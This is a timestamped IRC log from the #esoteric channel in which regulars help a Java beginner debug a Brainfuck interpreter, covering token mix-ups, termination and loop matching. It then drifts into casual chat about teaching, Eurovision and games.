:I went System.out.println(new String(tape)); to print out the entire tape < 1393924943 883076 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :or wat < 1393924945 125484 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :wait < 1393924957 692589 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :yea that works < 1393924958 503953 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :hm < 1393924962 949343 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :the output I get tho < 1393924972 675385 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :isnt human readable < 1393924987 363170 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :I get bytes < 1393925001 690218 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :0001 , 0002, 0003, 0004 , space , 0006 < 1393925154 553172 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1393925264 864269 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :your [ and ] implementations aren't right btw, but that doesn't explain why everything else breaks < 1393925313 94310 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :hm < 1393925463 885079 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i'd suggest starting with printing the whole c array at the beginning of Brainfuck.code < 1393925473 229532 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :to see if that's set up right < 1393925500 449961 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :ok ill try that < 1393925608 563238 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :well it appears that < 1393925613 190092 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :it doesnt change at all < 1393925613 805342 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :lol < 1393925625 564910 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :I printed it each time it enters the while loop < 1393925641 809603 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :um the c array isn't supposed to change. < 1393925648 959750 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :oh right < 1393925652 973330 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :well yeah then it works < 1393925653 795731 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :lol < 1393925666 929830 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i wanted you to check if it's _initialized_ right, and passed into the Brainfuck.code correctly. < 1393925727 140660 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :so my +++++++++++++++++++++++++++++++++. suggestion didn't do _anything_ at all? it's supposed to print a single "!" < 1393925772 301747 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :h wait hm < 1393925775 175440 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :I dont think it is < 1393925785 2452 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :its 00000000000000000000 < 1393925791 981204 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :every entry in the c array is 0 < 1393925800 504769 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :even the first ones? < 1393925803 204496 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :yes < 1393925813 188600 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :well then you have an obvious problem :P < 1393925820 170344 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :yea true lol < 1393926038 333387 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net QUIT :Ping timeout: 240 seconds < 1393926040 65960 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :well I have no fucking idea < 1393926040 691328 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :lol < 1393926061 112340 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :and is your brainfuck program in "file.txt" as it seems to me it should? < 1393926067 930609 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :yes < 1393926101 596013 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :maybe theres something wrong with the way im reading characters in from that file < 1393926106 305201 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ok then i don't think i know java well enough to see what's wrong. one thing you can do is to print all of data in Interpreter before it calls Brainfuck.code < 1393926125 120159 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :if that's still wrong, then at least we know it's the reading. < 1393926484 665559 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :ok hm < 1393926491 155766 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :INPUT and OUTPUT are flipped in the tokens. < 1393926503 59438 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"." is for input, "," is for output; not the other way around. < 1393926517 603125 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I mean, should be the other way around. < 1393926519 56378 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :XD < 1393926547 41578 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :good catch thx fixed that < 1393926552 711998 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i'm not sure that will help with the empty c though. < 1393926561 757019 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :it appears to do something now < 1393926563 609295 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It wasn't empty for me, FWIW. < 1393926565 313072 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :I just dont know what lol < 1393926586 233556 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :so try +++++++++++++++++++++++++++++++++. again? < 1393926595 721211 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :ok < 1393926635 728157 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :There's an obvious never-terminates issue there, at least. (It's not possible for "code" to return, because of the while (true). < 1393926645 902434 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :gives an array out of bounds exception lol wtf < 1393926658 708583 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :SailorR: huh. < 1393926668 815323 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :That would happen if charpointer >= c.length. < 1393926699 142423 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Also Token.OUTPUT does not increment charpointer in the pasted code. < 1393926728 280063 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm indeed. < 1393926748 612760 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :that would make it print unending !'s, though... < 1393926776 164012 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Fixing all the mistakes I've noticed so far makes oerjan's +++++++++++++++++++++++++++++++++. program output a single ! and terminate. < 1393926783 336413 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :yay! < 1393926793 555107 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :^bf +++++++++++++++++++++++++++++++++. < 1393926793 740012 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :! < 1393926793 999658 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :nice < 1393926811 204430 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :actually, how does it terminate? or was that one of the things you fixed. < 1393926843 98284 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :oerjan: I made it a while (charpointer < c.length) instead of while (true). (And added a default: charpointer++; case to skip past the uninitialized entries of c.) < 1393926850 812437 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :SailorR: i think you should have a Token.EOF = 0 to detect program end < 1393926872 766961 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :oh yea true < 1393926965 571981 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ok then i suspect programs without [] should start working < 1393926977 539481 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :whats the default charpoint ++ case? < 1393927004 109080 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :SailorR: same as Token.EOF, really < 1393927028 784500 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :but having a token means you can quit immediately instead of looping across the rest < 1393927046 131970 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh hm < 1393927067 512390 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :well you also need a default to implement comments properly (i.e. ignoring non-commands) < 1393927069 723593 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :A default case (in addition to an EOF marker) would still be in keeping with the accepted brainfuck convention of ignoring all non-command characters. < 1393927072 729543 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Right. < 1393927173 896424 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :once you've got +++++++++++++++++++++++++++++++++. working, you can try ,.+>,-.<. to get a test of all the non-loop commands. < 1393927190 834602 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Ignoring all non-commands already when reading might be a better idea, anyway.) < 1393927198 986823 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :im trying to fix the part where im reading char into the arra < 1393927200 238010 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :array < 1393927204 458358 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :so I can automate test cases < 1393927253 894806 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Whoops, I'll have to go hold an exercise session now. < 1393927267 440947 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hold? as teacher? < 1393927316 614941 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :http://amirunningxp.com/ < 1393927382 3946 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :why? < 1393927425 178841 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :check appears to be server-side < 1393927428 548868 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :which make sense, really < 1393927442 366404 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I wonder if I can make it think that I am actually running Windows XP < 1393927444 575173 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :wait, someone is writing a bf interpreter in java? < 1393927447 749061 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :why??? < 1393927506 909477 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :you can write a BF interp in pretty much anything < 1393927521 331400 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :of course you can < 1393927542 39276 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :wtf why isnt this reading my char into an array < 1393927542 524424 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :but i don't see any advantage of doing so in java < 1393927561 413090 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :SailorR: fizzie said the program reading was working for him... < 1393927574 39077 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :hmm < 1393927617 737108 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :myname: because it's what he knows? < 1393927624 673558 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :you have to start somewhere. < 1393927638 943935 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :just changing my user agent was enough < 1393927658 205324 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ais523: how unlawful of you. < 1393927666 425081 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ACTION probably should stop now. < 1393927706 808620 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :oerjan: hmm < 1393928237 362632 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1393928852 631914 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :oergan thx for all your help btw < 1393928855 89044 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :you too fizzle < 1393928861 652077 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :the nonloop programs work now < 1393928868 157763 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :just gotta figure out whats wrong with my loop :p < 1393930557 667231 :Sellyme!~Sellyme@irc.sellyme.com QUIT :Excess Flood < 1393930633 115442 :Sellyme!~Sellyme@fluttershy.is.bestpony.tk JOIN :#esoteric < 1393930758 332098 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Ping timeout: 240 seconds < 1393930776 692685 :Sorella!~queen@oftn/member/Sorella JOIN :#esoteric < 1393931389 648839 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1393931570 768040 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1393931571 355187 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1393931680 362727 :boily!~boily@96.127.201.149 JOIN :#esoteric < 1393932046 905367 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone JOIN :#esoteric < 1393932072 175981 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :oerjan: I think I'm officially called an "assistant" of some sort. < 1393932101 221473 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ah. < 1393932130 470810 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :oerjan: Or come to think of it, I'm probably not officially called anything, because the course is for the old deparment our research group moved away from. In fact, I'm not entirely sure I should even be doing this. < 1393932164 912981 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :good uncertain morning! < 1393932205 44243 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :fizzie: happy to help! < 1393932238 727944 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :boily: should we avoid checking if you're alive or dead? < 1393932251 867510 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :In other news (they're not other news), offering 0.5 exam points (out of probably 36 or so) for attendance of the (weekly) exercise sessions sure gets people to come. < 1393932263 507350 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :There's been like 80% attendance for all five sessions so far. < 1393932292 874317 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I'm not sure anyone's actually learning anything, but I guess they're... paying attention? Occasionally, anyway. < 1393932334 460325 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i was an assistant once, but i never paid attention enough to know if anyone learned anything. < 1393932339 666230 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :fizzie: I've intentionally dropped that sort of mark before now < 1393932375 177171 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :oerjan: maybe. < 1393932388 248758 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I dropped 5% of the mark on my group Masters' project for not attending a team building exercise, via the usual technique of not signing the insurance forms < 1393932541 411927 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :That sounds slightly bizarre. < 1393932542 807626 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I mean, not the not going to a team building exercise, but getting credit for going. < 1393932605 468445 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ais523: you should have sued them for docking you points for something potentially dangerous hth < 1393932621 757578 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(i assume that's why you needed insurance) < 1393932851 853180 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :oerjan: I think all company/school/university group trips have special insurance forms that keep track of who's going, or something < 1393932890 821372 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :but refusing to fill them in is a nice universal way to get out of it < 1393932914 65518 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ah < 1393933355 437782 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :I think I almost have loops working ... http://ideone.com/n8sXxU but Helloworld still gives me nonhuman readable bytes < 1393933528 896463 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :If you want to do the loops with the (arguably slightly complex) recursive-call-to-code approach, it would probably be best if the ']' case were to return. < 1393933646 565917 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :hmm < 1393933675 449137 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :my methods void though how would I get it to return? < 1393933686 448203 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :(sorry if thats a dumb question I just started learning java ) < 1393933698 833562 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :just return without an argument, i think < 1393933700 690114 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :I guess it doesnt have to be recursion either < 1393933745 496778 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :however, i think you need datapointer and maybe charpointer to be class variables < 1393933764 764101 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :otherwise returning will lose your place < 1393933773 589528 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :yea I considered that ...I was reading about recursion and wondering how the local variables were stored or if they were lost < 1393933779 857216 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :oerjan: No, it'd return to the place of '[' for the next loop iteration. < 1393933793 320896 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :oerjan: At least that's the way I assumed for the logic to be intended to work. < 1393933818 463989 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :oerjan: (Though in that case charpointer shouldn't be incremented in the case of '[' that does call code.) < 1393933827 852507 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :fizzie: datapointer needs to be. charpointer might be easiest _not_ to. < 1393933835 159474 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :oerjan: Er, right, that's what I meant. < 1393933879 420588 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :the next error is that the [ code needs to loop until the tape is zero. < 1393933886 206369 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Possibly the most straightforward way is to just have '[' and ']' implemented in a very similar manner, in that both either just move to the next instruction or seek to the matching ']' or '[' depending on tape[datapointer]. < 1393933892 376391 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :should I have a constructor then too? (otherwise I'd be using a static method to initialize the class variables) < 1393933924 320568 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :SailorR: they can be static variables... < 1393933964 101121 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :they could also be object variables, if you want < 1393933972 527352 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :oh yea nvm < 1393933976 478303 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :I think id prefer them static < 1393934057 688911 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :the final error i see, which won't show up for hello world, is that your code to find the matching ] only works if there are no inner nested loops. < 1393934100 173446 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(typically with this method one uses a counter to keep track of the nesting level) < 1393934117 317607 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :I see < 1393934124 301170 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :this is getting pretty complicated lol < 1393934133 903868 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :at least for me < 1393934200 836758 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :SailorR: the loops are usually the most complicated part of implementing brainfuck < 1393934211 381255 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Some might prefer a separate class Tape { ... } that does an abstracted tape. (Then you can have a static Tape object, or pass it as a parameter to all calls of code(); either way the data pointer is then part of the tape.) < 1393934215 388013 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(A functional language programmer would of course faint dead at the sight of such a mutable tape.) < 1393934346 276726 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :SailorR: one reason why compiling brainfuck is often easier than interpreting is that you can then hand off the job of matching loops properly to the language you are compiling into. < 1393934383 975905 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :hm < 1393934393 317579 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :so this is really some low level exercise? < 1393934400 762513 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :that you dont see in ordinary programming ? < 1393934437 925311 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :most ordinary programming languages have loops built in, so... < 1393934561 89417 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :SailorR: well this scanning for matching ] stuff is not the way you'd implement loops when compiling/interpreting an ordinary programming language. you'd use a real parsing stage. which you can also do for brainfuck, but it's more complicated than the simplest methods. < 1393934644 412700 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :like, brainfuck is so simple that parsing seems like overkill < 1393934658 466568 :SailorR!~IceChat77@unaffiliated/sailorreality PRIVMSG #esoteric :hm < 1393934756 749704 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :otoh parsing lets you have a more efficient implementation, because you can then make an internal representation that stores which []'s match each other < 1393934783 909492 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :making it quick to jump between them. < 1393934894 399911 :boily!~boily@96.127.201.149 QUIT :Quit: Poulet! < 1393935049 40817 :Slereah_!~jackal@176.222.51.233 QUIT :Read error: Connection reset by peer < 1393935066 274519 :Slereah_!~jackal@176.222.51.233 JOIN :#esoteric < 1393935108 83664 :nisstyre!yourstruly@oftn/member/Nisstyre QUIT :Quit: WeeChat 0.4.3 < 1393935374 76567 :SailorR!~IceChat77@unaffiliated/sailorreality QUIT :Ping timeout: 265 seconds < 1393936484 68063 :vravn!~vravn@syn.rook.sx QUIT :*.net *.split < 1393936837 793246 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: leaving < 1393937841 467177 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net QUIT :Quit: Terminated < 1393937866 642854 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net JOIN :#esoteric < 1393938411 429533 :EgoBot!dlopen@libdl.so JOIN :#esoteric < 1393938802 741894 :vravn!~vravn@syn.rook.sx JOIN :#esoteric < 1393939401 849379 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1393939470 238268 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net JOIN :#esoteric < 1393939480 389565 :yorick!~yorick@oftn/member/yorick JOIN :#esoteric < 1393939784 343730 :realzies!~pinky@unaffiliated/realazthat JOIN :#esoteric < 1393940226 58267 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :@ping < 1393940226 243552 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :pong < 1393940227 415867 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1393940230 800478 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric ::( < 1393940236 968425 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :My ethernet is not working < 1393940259 308415 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1393940263 98365 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :Taneb: you got a pong < 1393940287 34091 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :ais523, after I unplugged my ethernet cable < 1393940307 775673 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :right < 1393940318 674293 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :From my end the @ping and the pong have 42 seconds between them < 1393940536 243526 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 265 seconds < 1393940669 287477 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu QUIT :Ping timeout: 240 seconds < 1393941266 515997 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Taneb: that's sportive < 1393941331 111803 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Also it looks like the UK is gonna lose Eurovision again :( < 1393941383 562213 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :And I have a problem class to go to < 1393941430 336802 :spiette!~spiette@2607:fad8:4:6:f2de:f1ff:fe66:77e5 JOIN :#esoteric < 1393941483 207240 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I'm pretty sure Finland's going to lose too. < 1393941490 92175 :atslash!~atslash@46.72.83.247 QUIT :Quit: This computer has gone to sleep < 1393941595 593862 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net QUIT :Read error: Connection reset by peer < 1393941673 267595 :sebbu2!~sebbu@ADijon-152-1-8-193.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1393941704 775956 :sebbu!~sebbu@unaffiliated/sebbu QUIT :Ping timeout: 252 seconds < 1393941713 113201 :sebbu2!~sebbu@ADijon-152-1-8-193.w83-194.abo.wanadoo.fr QUIT :Changing host < 1393941713 298772 :sebbu2!~sebbu@unaffiliated/sebbu JOIN :#esoteric < 1393941748 886928 :sebbu2!~sebbu@unaffiliated/sebbu NICK :sebbu < 1393941846 327864 :nooodl!~nooodl@91.177.100.186 JOIN :#esoteric < 1393945055 884366 :ais523!~ais523@unaffiliated/ais523 QUIT : < 1393946687 816966 :atslash!~atslash@91.195.137.195 JOIN :#esoteric < 1393947152 274482 :Sprocklem!~Sprocklem@199.185.88.147 JOIN :#esoteric < 1393947162 443237 :atslash!~atslash@91.195.137.195 QUIT :Quit: This computer has gone to sleep < 1393947687 530247 :Slereah_!~jackal@176.222.51.233 QUIT :Read error: Connection reset by peer < 1393947708 206344 :Slereah_!~jackal@176.222.51.233 JOIN :#esoteric < 1393949561 91398 :atehwa!atehwa@aulis.sange.fi JOIN :#esoteric < 1393949587 724567 :FreeFull!~freefull@defocus/sausage-lover JOIN :#esoteric < 1393949902 983736 :FreeFull!~freefull@defocus/sausage-lover QUIT :Read error: Connection reset by peer < 1393950081 614188 :spiette!~spiette@2607:fad8:4:6:f2de:f1ff:fe66:77e5 QUIT :Quit: :qa! < 1393950500 776313 :atslash!~atslash@91.195.137.195 JOIN :#esoteric < 1393951276 314347 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu JOIN :#esoteric < 1393952236 139322 :FreeFull!~freefull@defocus/sausage-lover JOIN :#esoteric < 1393952617 127845 :FreeFull!~freefull@defocus/sausage-lover QUIT :Ping timeout: 240 seconds < 1393952986 499217 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1393953170 802253 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1393953171 23253 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1393953809 43440 :atslash!~atslash@91.195.137.195 QUIT :Quit: This computer has gone to sleep < 1393954055 89814 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1393954066 299895 :FreeFull!~freefull@defocus/sausage-lover JOIN :#esoteric < 1393954248 965712 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :helloerjan < 1393954338 339483 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu QUIT :Ping timeout: 240 seconds < 1393954362 708240 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hitopia < 1393954497 729742 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric ::( < 1393954631 336746 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :pura vidaneb < 1393954731 83862 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I am sad because, as my ethernet is not working, this torrent is going very very slowly < 1393954746 723913 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :ah. understandable. < 1393954755 902741 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :i am sad becuase bastion wouldn't install < 1393955069 132077 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I enjoyed Bastion < 1393955097 214453 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :i'll figure out how to get it to work eventually < 1393955102 702102 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Share and Enjoy. < 1393955112 455733 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I hope you do, it was a fun game < 1393955498 158117 :ion!ion@heh.fi PRIVMSG #esoteric :taneb: Yeah, it was fun. < 1393955555 680863 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"It goes on until it ends," to quote Banks. < 1393955722 261852 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Another annoying thing is that the torrent seems to have downloaded episodes 2-5 while my ethernet was working but only half of episode 1 < 1393956177 380744 